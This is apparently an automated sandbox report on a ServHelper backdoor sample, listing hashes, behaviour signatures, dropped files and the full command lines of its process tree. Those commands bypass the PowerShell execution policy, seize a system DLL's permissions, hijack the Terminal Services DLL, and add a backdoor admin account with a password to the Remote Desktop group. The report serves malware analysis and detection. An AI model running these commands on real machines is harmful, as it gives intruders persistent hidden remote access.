Analysis

  • max time kernel
    125s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    10-04-2024 10:03

General

  • Target

    282e8186cec5ec821d89c7347f508aca3eb1e5c532200d50550e75972e5c33c8.exe

  • Size

    2.6MB

  • MD5

    44e86870c9402d8246dc9498e448e890

  • SHA1

    fa3a1b3b5c40927dd43e949783b9f1078122b1f7

  • SHA256

    282e8186cec5ec821d89c7347f508aca3eb1e5c532200d50550e75972e5c33c8

  • SHA512

    5e459ef56d59be710e6b2464f7cbc8553f2f932fd499477829a4fe27a42ed1467331e4ea6eaee0dfeddf692ef0763e1035c8f9ab32e419cd9dec950d8f37cd0f

  • SSDEEP

    49152:H/gy5fJnREzdOP+CtcMLq8t8eay0pSJA6Ecrk7Y2DPJ4VbQ/6ZgTQU1gCVrEWx1P:H/gy5hnrt92HRqxI7Y2F/zTyiwW3P

Malware Config

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 8 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\282e8186cec5ec821d89c7347f508aca3eb1e5c532200d50550e75972e5c33c8.exe
    "C:\Users\Admin\AppData\Local\Temp\282e8186cec5ec821d89c7347f508aca3eb1e5c532200d50550e75972e5c33c8.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:3028
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout -t 15& powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\evil.ps1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3052
      • C:\Windows\system32\timeout.exe
        timeout -t 15
        3⤵
        • Delays execution with timeout.exe
        PID:2816
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\evil.ps1
        3⤵
        • Deletes itself
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1780
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1708
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2376
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:320
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1832
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1984
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1856
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2852
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2728
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          4⤵
            PID:2824
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            4⤵
            • Sets DLL path for service in the registry
            • Modifies registry key
            PID:1868
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            4⤵
              PID:1584
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2568
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                5⤵
                  PID:2040
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1068
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:324
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:596
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      7⤵
                        PID:604
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  4⤵
                    PID:540
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      5⤵
                        PID:1180
                        • C:\Windows\system32\net.exe
                          net start TermService
                          6⤵
                            PID:780
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 start TermService
                              7⤵
                                PID:1340
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                          4⤵
                            PID:2200
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                            4⤵
                              PID:2220
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe user WgaUtilAcc Ghasar4f5 /del
                        1⤵
                          PID:112
                          • C:\Windows\system32\net.exe
                            net.exe user WgaUtilAcc Ghasar4f5 /del
                            2⤵
                              PID:2372
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 user WgaUtilAcc Ghasar4f5 /del
                                3⤵
                                  PID:2620
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc B067akwa /add
                              1⤵
                                PID:1592
                                • C:\Windows\system32\net.exe
                                  net.exe user WgaUtilAcc B067akwa /add
                                  2⤵
                                    PID:700
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 user WgaUtilAcc B067akwa /add
                                      3⤵
                                        PID:1696
                                  • C:\Windows\System32\cmd.exe
                                    cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                    1⤵
                                      PID:1792
                                      • C:\Windows\system32\net.exe
                                        net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        2⤵
                                          PID:2176
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            3⤵
                                              PID:2052
                                        • C:\Windows\System32\cmd.exe
                                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" SCFGBRBT$ /ADD
                                          1⤵
                                            PID:1212
                                            • C:\Windows\system32\net.exe
                                              net.exe LOCALGROUP "Remote Desktop Users" SCFGBRBT$ /ADD
                                              2⤵
                                                PID:1820
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" SCFGBRBT$ /ADD
                                                  3⤵
                                                    PID:1588
                                              • C:\Windows\System32\cmd.exe
                                                cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                1⤵
                                                  PID:1240
                                                  • C:\Windows\system32\net.exe
                                                    net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    2⤵
                                                      PID:1668
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        3⤵
                                                          PID:2280
                                                    • C:\Windows\System32\cmd.exe
                                                      cmd /C net.exe user WgaUtilAcc B067akwa
                                                      1⤵
                                                        PID:1184
                                                        • C:\Windows\system32\net.exe
                                                          net.exe user WgaUtilAcc B067akwa
                                                          2⤵
                                                            PID:1072
                                                            • C:\Windows\system32\net1.exe
                                                              C:\Windows\system32\net1 user WgaUtilAcc B067akwa
                                                              3⤵
                                                                PID:968

                                                          Network

                                                          MITRE ATT&CK Enterprise v15

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • C:\Users\Admin\AppData\Local\Temp\evil.ps1

                                                            Filesize

                                                            3.0MB

                                                            MD5

                                                            71378b4f0b781d534492988926cfb758

                                                            SHA1

                                                            db6c0e67a5b9a2932f071ee9e165658aa4950bf6

                                                            SHA256

                                                            1c88620ce8a15c57b1ca64da67cf995f1a3ce3aeef6087d90f6cff772fbf2614

                                                            SHA512

                                                            62f2475e7284ac7bf480edf5e60d6438e4aa4a8666a0d15694ba2e7ce7fb77629baed27c076f92720373251d97c6501a5ce21c91c7f0040d5fd4dfe92a9c45f4

                                                          • C:\Users\Admin\AppData\Local\Temp\nsd7DE.tmp\blowfish.dll

                                                            Filesize

                                                            22KB

                                                            MD5

                                                            5afd4a9b7e69e7c6e312b2ce4040394a

                                                            SHA1

                                                            fbd07adb3f02f866dc3a327a86b0f319d4a94502

                                                            SHA256

                                                            053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

                                                            SHA512

                                                            f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

                                                          • C:\Users\Admin\AppData\Local\Temp\uninst.dat.log

                                                            Filesize

                                                            102B

                                                            MD5

                                                            0a9acbe50c9af249014e877216e99f4c

                                                            SHA1

                                                            f79c9d8a1442634f130ffb5359e3502829c5b92f

                                                            SHA256

                                                            8183b668099930ea6f5bbdba89e67057499a28766cd61cf630642e0dfb4e4047

                                                            SHA512

                                                            8e79f88ae39e1f741eee33e9c2f0cc595b120a5260ba96790f5a6b90a4ce4dc5ff9e576e56708393c215fdd54964a04ee498795a482194b3c59800ea49925a33

                                                          • C:\Windows\system32\rfxvmt.dll

                                                            Filesize

                                                            40KB

                                                            MD5

                                                            dc39d23e4c0e681fad7a3e1342a2843c

                                                            SHA1

                                                            58fd7d50c2dca464a128f5e0435d6f0515e62073

                                                            SHA256

                                                            6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                                            SHA512

                                                            5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                                          • \??\PIPE\lsarpc

                                                            MD5

                                                            d41d8cd98f00b204e9800998ecf8427e

                                                            SHA1

                                                            da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                            SHA256

                                                            e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                            SHA512

                                                            cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                          • \Users\Admin\AppData\Local\Temp\nsd7DE.tmp\System.dll

                                                            Filesize

                                                            11KB

                                                            MD5

                                                            fbe295e5a1acfbd0a6271898f885fe6a

                                                            SHA1

                                                            d6d205922e61635472efb13c2bb92c9ac6cb96da

                                                            SHA256

                                                            a1390a78533c47e55cc364e97af431117126d04a7faed49390210ea3e89dd0e1

                                                            SHA512

                                                            2cb596971e504eaf1ce8e3f09719ebfb3f6234cea5ca7b0d33ec7500832ff4b97ec2bbe15a1fbf7e6a5b02c59db824092b9562cd8991f4d027feab6fd3177b06

                                                          • \Users\Admin\AppData\Local\Temp\nsd7DE.tmp\nsUnzip.dll

                                                            Filesize

                                                            146KB

                                                            MD5

                                                            77a26c23948070dc012bba65e7f390aa

                                                            SHA1

                                                            7e112775770f9b3b24e2a238b5f7c66f8802e5d8

                                                            SHA256

                                                            4e4e429ecf1c49119a21c817899f64152b03b41b036fc1d92aee335043364c43

                                                            SHA512

                                                            2e7ffa4ed5c97f555e1b0d6f55ffcfd53cd28302fc77d95fdaea89e0b6b42e67e366331e52358e78e8266d079cc2ca3ea4c909197fb38a5b4c8151c7678d0065

                                                          • \Windows\Branding\mediasrv.png

                                                            Filesize

                                                            54KB

                                                            MD5

                                                            34c833d9f05fa3ff36ad6256164f8510

                                                            SHA1

                                                            7f50ab402b023f751af95869d1c7789c864f77fb

                                                            SHA256

                                                            af2f4f3f3a34bfe56243b2419d0d494c48fbb38502395fc9a726f27737e6a178

                                                            SHA512

                                                            284edfce8fc6b9bfbe74b770492f8a592a284851d8fa59044147eea80aaaec35f29a4c90a39a1bca89e59f46bd943483b64eedd843a9e23533c82cd768205b93

                                                          • \Windows\Branding\mediasvc.png

                                                            Filesize

                                                            945KB

                                                            MD5

                                                            d81ea89ae878fcfc33accae038a14016

                                                            SHA1

                                                            aafe059a73426ac3878724c9e713d58e8162ad3d

                                                            SHA256

                                                            978726f716f0b882d237e7120e0d6ae5ec69f0999e4dd5a5f24f152858d2ac00

                                                            SHA512

                                                            1568370943476b1bb1a45eb8631156bc53c973d77de2e560b1f66dd9223631d9504e6869e4311967a8aa87900b7bf0b39addc336ec02624403085991cec41d40

                                                          • memory/1780-50-0x00000000028B0000-0x0000000002930000-memory.dmp

                                                            Filesize

                                                            512KB

                                                          • memory/1780-70-0x00000000028B0000-0x0000000002930000-memory.dmp

                                                            Filesize

                                                            512KB

                                                          • memory/1780-48-0x00000000028B0000-0x0000000002930000-memory.dmp

                                                            Filesize

                                                            512KB

                                                          • memory/1780-54-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

                                                            Filesize

                                                            9.6MB

                                                          • memory/1780-53-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

                                                            Filesize

                                                            9.6MB

                                                          • memory/1780-47-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

                                                            Filesize

                                                            9.6MB

                                                          • memory/1780-69-0x00000000028B0000-0x0000000002930000-memory.dmp

                                                            Filesize

                                                            512KB

                                                          • memory/1780-49-0x00000000028B0000-0x0000000002930000-memory.dmp

                                                            Filesize

                                                            512KB

                                                          • memory/1780-71-0x00000000028B0000-0x0000000002930000-memory.dmp

                                                            Filesize

                                                            512KB

                                                          • memory/1780-46-0x00000000028B0000-0x0000000002930000-memory.dmp

                                                            Filesize

                                                            512KB

                                                          • memory/1780-44-0x0000000002810000-0x0000000002818000-memory.dmp

                                                            Filesize

                                                            32KB

                                                          • memory/1780-45-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

                                                            Filesize

                                                            9.6MB

                                                          • memory/1780-43-0x000000001B5A0000-0x000000001B882000-memory.dmp

                                                            Filesize

                                                            2.9MB

                                                          • memory/1780-78-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

                                                            Filesize

                                                            9.6MB